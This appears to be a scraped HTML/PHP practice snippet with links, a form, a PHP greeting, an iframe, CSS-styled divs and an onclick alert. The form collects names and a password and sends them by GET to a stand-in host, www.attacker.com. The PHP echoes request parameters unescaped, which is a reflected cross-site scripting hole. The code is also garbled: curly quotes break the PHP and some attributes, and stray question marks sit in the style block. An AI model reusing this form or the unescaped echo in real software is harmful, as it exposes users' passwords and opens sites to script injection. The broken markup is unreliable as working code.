<a href="#001"> 点我跳转到页面底部 </a> <br>
<a href="http://www.baidu.com"> 点我跳转到百度 </a>

<form method="get" action="http://www.attacker.com/welcome.php">    
    First name: <input type="text" name="firstname"><br>
    Last name: <input type="text" name="lastname"><br>
    Password: <input type="password" name="pwd"><br>
    <input type="radio" name="sex" value="male">Male<br>
    <input type="radio" name="sex" value="female">Female<br>
    <input type="checkbox" name="vehicle" value="Bike">I have a bike<br>
    <input type="checkbox" name="vehicle" value="Car">I have a car <br>
    <input type="submit" value="Submit">
</form> 

<h1 align=center>
    Welcome
    <?php
    echo $_REQUEST[‘firstname‘],‘‘,$_REQUEST[‘lastname‘],‘!‘;
    ?>
</h1>

<iframe src="https://next.xuetangx.com/"></iframe>

<div style=“text-align: center;”>
    <h2> News</h2>
    <p><a href=“budget.html”>Budget</a></p>
    <p><a href=“invest.html”>Investment</a></p>
</div>

<p>id = div-before</p>
<p>id = div-1</p>
<p>id = div-1a</p>
<p>Lorem ipsum dolor sit amet.</p>
<p>id = div-1b</p>
<p>Lorem ipsum dolor sit amet.</p>
<p>id = div-after</p>

<style type="text/css">
?
    #div-before, #div-after {
        background-color:#aee;
        color:#000;
        width:400px;
    }
?
    #div-1 {
        width:400px;
        background-color:#000;
        color:#fff;
    }  
?
    #div-1-padding {
        padding:20px;
    }
?
</style>
?
<div>
 
    <div id="div-before">  
        <p>id = div-before</p> 
    </div>
 
    <div id="div-1">
        <div id="div-1-padding">
            <p>id = div-1</p>
            <div id="div-1a">
                <p>id = div-1a</p>
                <p>Lorem ipsum dolor sit amet.</p>
            </div>
            <div id="div-1b">
                <p>id = div-1b</p>
                <p>Lorem ipsum dolor sit amet .</p>
            </div>
        </div>
    </div>
?
     <div id="div-after">  
        <p>id = div-after</p> 
    </div>
 
</div>

<h1 style= "color:red; "onclick="alert(‘hello‘);">Hello,world!</h1>